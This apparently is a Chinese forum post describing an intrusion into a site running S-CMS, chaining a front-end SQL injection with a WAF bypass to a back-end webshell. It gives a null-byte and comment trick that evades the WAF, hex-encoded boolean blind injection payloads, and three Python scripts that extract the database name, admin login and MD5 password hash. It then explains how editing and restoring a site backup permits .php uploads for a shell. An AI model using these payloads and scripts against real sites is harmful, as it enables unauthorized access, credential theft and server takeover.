【僵尸申请复活】一次前台SQL绕过Waf与后台Getshell

2021-04-06 08:46:51 8 1012 1

信息收集

打开网站http://xx.xyz:8035/

可以通过信息收集发现使用s-cms,在网上寻找漏洞,发现前台注入,

http://xxx.xyz:8035/?type=product&S_id=3&lang=cn

注入点为S_id,在测试中发现,如果出现union字符和单引号../这样的字符就会触发waf,触发后返回包会返回一段js代码。

<script>
var a = "abc";
var x;
while ((x = /b/g.exec(a)) != null) {console.log(x)}
</script>

这样会把浏览器客户端卡爆 经过fuzz,发现%00后面使用任意字符都不会被waf检测,这样就可以构造sql语句,

http://xxx.xyz:8035/?lang=cn&type=text&S_id=-1 and (%23%00%0A1) and <注入点>

%23是#符号在Mysql中是注释符可以注释一行。
而%00是把waf探测截断,使后面的字符不会受到waf检测。
%0A是换行符,在查询语句拼接后传入到Mysql客户端,语句就会变成

"
select * from xxx where S_id=-1 and(#%00
1) and <注入点>
"

这时再进行注入将不会受到waf影响。经过测试Union联合查询并没有回显点,那么就使用布尔逻辑盲注。

前台注入

根据s-cms官方使用说明,数据库中表SL_admin中存放账号密码,账户名字段为A_login,密码字段为A_pwd(采用32位MD5存放)。 尝试构造,发现网站表明和字段名并没有被修改,还是和官方的一样的。

但是经过payload构造后爆破时发现不能使用单双引号来引用字符,所以使用十六进制来代替。例如:

and ('s' = 's')

绕过waf后这样带有引号的不能出现在payload中(尝试了双引号也不行),所以就需要爆破时使用十六进制0x来代替例如:

S_id=1%20and%20(%23%00%0A1) and(substring((select A_pwd from SL_admin limit 0,1),1,1)=0x38)

这时便动手写个脚本就可以拿到后台的账号密码

后台getshell

登录后台后,找了一些功能去尝试,发现有一处安全管理,可以修改上传文件的格式。但是功能被阉割了,不能修改成功。

同样发现一处文件管理,可以管理文件,但不能修改.php后缀的文件。这里尝试绕过也失败了。

后面发现了一处网站备份还原的功能,通过备份网站数据,下载到本地后,通过官方手册发现数据库中SL_safe表里面是允许上传文件的后缀。

那么就把刚刚下载的文件中的SL_safe表的Insert语句修改一下,添加一个.php结尾。然后还原刚刚修改好的备份文件,这样可以达到间接getshell。

脚本

获取数据库名:

def get_dbname_char(url):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789-=()@!_<>'
    len_temp = '(%23%00%0A1) and length((select database()))={}'
    temp = '(%23%00%0A1) and (substring((select database()),{},1)={})'
    s=''
    dbn_len = 0
    for i in range(1,21):
        len_exp = len_temp.format(i)
        res = requests.get(url+len_exp)
        if len(res.text) > 480 :
            dbn_len = i
            break
    for i in range(1, dbn_len+1):
        for j in payloads:
            exp = temp.format(i, hex(ord(j)))
            res = requests.get(url + exp)
            if len(res.text) > 480 :
                s = s + j
                break
    print("数据库名为:",s)
def main():
    url = 'http://xxx:8035/?lang=cn&type=text&S_id=1 and '
    get_dbname_char(url)

获取后台账号

def get_user_char(url):
    payloads = '0123456789abcdefghijklmnopqrstuvwxyz'
    len_temp = '(%23%00%0A1) and length((select A_login from SL_admin limit 0,1))={}'
    temp = '(%23%00%0A1) and (substring((select A_login from SL_admin limit 0,1),{},1)={})'
    s=''
    usrlen=0
    for i in range(1,100):
        len_exp = len_temp.format(i)
        res = requests.get(url+len_exp)
        if len(res.text) > 480 :
            usrlen=i
            break
    for i in range(1,usrlen+1):
        print("获取用户名第{}个字符....".format(i))
        for j in payloads:
            exp = temp.format(i,hex(ord(j)))
            res = requests.get(url+exp)
            if len(res.text) > 480 :
                s = s + j
                break
    print("用户名为:",s)
def main():
    url = 'http://xxx.xyz:8035/?lang=cn&type=text&S_id=1 and '
    #get_user_char(url)

获取后台密码:


def get_pwd_char(url):
    payloads = '0123456789abcdefghijklmnopqrstuvwxyz'
    temp = '(%23%00%0A1) and (substring((select A_pwd from SL_admin limit 0,1),{},1)={})'
    s=''
    for i in range(1,33):
        print("获取密码第{}个字符...".format(i))
        for j in payloads:
            exp = temp.format(i,hex(ord(j)))
            res = requests.get(url+exp)
            if len(res.text) > 480 :
                s = s + j
                break
    print("密码md5值:",s)
def main():
    url = 'http://xxx.xyz:8035/?lang=cn&type=text&S_id=1 and '
    get_pwd_char(url)

关于作者

Closer7篇文章86篇回复

评论8次

要评论?请先  登录  或  注册